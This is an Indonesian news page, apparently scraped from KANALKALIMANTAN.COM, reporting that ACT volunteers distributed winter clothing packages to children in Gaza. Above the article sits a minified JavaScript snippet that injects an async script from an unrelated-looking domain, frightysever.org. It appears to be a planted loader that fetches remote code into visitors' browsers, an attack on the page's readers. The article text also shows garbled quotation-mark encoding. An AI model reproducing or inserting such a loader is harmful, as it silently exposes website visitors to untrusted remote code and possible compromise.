(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
GAZA, Mobil putih itu berhenti di tanah lapang dekat salah satu permukiman padat penduduk di Jalur Gaza, begitu kontras dengan lingkungan di sekitarnya. Sejumlah orang keluar dari dalam mobil, mereka adalah relawan Aksi Cepat Tanggap (ACT). Kedatangan mereka seketika mengalihkan cekikikan anak-anak yang tengah bermain siang itu.
Para relawan itu berjalan dengan yakin ke sejumlah rumah sembari membopong sebuah boks besar. Anak-anak yang penasaran pun tidak mau ketinggalan membuntuti langkah kaki mereka. Di sepanjang jalan, bekas reruntuhan bahkan tumpukan sampah menjadi pemandangan yang mengantar mereka ke rumah para penerima manfaat.
“Assalamualaikum,†ucap seorang relawan sampai di salah satu rumah berdinding batako. Di balik tirai penutup ruangan, senyum tuan rumah menerima kedatangan mereka. Salah satu gadis kecil di keluarga itu memberikan sambutan paling hangat. Tanpa ragu ia menjabat tangan para relawan sambil memberikan senyum terbaiknya.
Boks besar itu ternyata berisi beberapa paket pakaian hangat. Fatimaâ€â€sebut saja demikian, si gadis kecil, menjajal jaket barunya yang berwarna merah muda. Ia kemudian menutup kedua telapak tangannya dengan sepasang sarung tangan hitam yang juga baru. Sejumlah paket pakaian hangat itu amanah masyarakat Indonesia.
Pada Januari ini, ACT melalui memberikan sejumlah bantuan musim dingin kepada masyarakat Palestina. Kali ini, bantuan yang diberikan berupa paket pakaian hangat untuk anak-anak dari keluarga yang tinggal di permukiman prasejahtera di Jalur Gaza. Akhir Januari, bantuan itu disalurkan kepada warga Gaza.
“Satu paket terdiri dari 15 item yang bisa dibagikan ke tiga anak dalam satu keluarga. Pada implementasi kali ini, ada 306 anak penerima manfaat. Bantuan ini pun masih terus berlangsung,†jelas Andi Noor Faradiba dari Global Humanity Response (GHR) – ACT.
Paket pakaian bantuan musim dingin itu terdiri dari jaket, celana, baju hangat, beberapa pasang kaos kaki, dan juga sarung tangan. Bingkisan pakaian hangat itu diharapkan bisa menghalau suhu dingin dan terus memberikan kehangatan bagi anak-anak Palestina.
Pakaian hangat menjadi salah satu sandang utama di negara bermusim dingin, termasuk Palestina. Sayangnya, tidak semua masyarakat, khususnya anak-anak, Palestina mampu memiliki pakaian hangat. “Ekonomi sedang sangat sulit di Gaza. Tidak ada pekerjaan berarti tidak ada uang,†imbuh Faradiba.
Pada kenyataannya, suhu dingin sangat memungkinkan mengganggu kesehatan. Musim dingin Januari ini, seiring dengan implementasi bantuan kesehatan dan distribusi obat-obatan, mitra ACT di Palestina juga menemukan sejumlah pasien yang mengalami flu, radang tenggorokan, hingga peradangan saluran pernapasan. Penunjuk suhu daring memperlihatkan suhu terendah Palestina selama Januari bisa mencapai delapan derajat Celsius. (retno/act)
KANALKALIMANTAN.COM - Pinjaman online (pinjol) kini semakin populer karena menawarkan kemudahan akses dana bagi siapa… Read More
KANALKALIMANTAN.COM, KOTABARU - Komisi II DPRD Kabupaten Kotabaru bersama Dinas Komunikasi dan Informatika (Diskominfo) Kotabaru… Read More
KANALKALIMANTAN.COM, MARTAPURA - Satuan Polisi Pamong Praja (Satpol PP) Kabupaten Banjar melakukan penertiban terhadap penjualan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Memasuk pengunjung 2024 ini Pemerintah Kabupaten Banjar meraih penghargaan dari Perwakilan Ombudsman… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru menerima anugerah penghargaan dari Ombudsman Republik Indonesia (RI)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Pemerintah resmi menaikan Upah Minimum Provinsi (UMP) Kalimantan Selatan (Kalsel) pada tahun… Read More
This website uses cookies.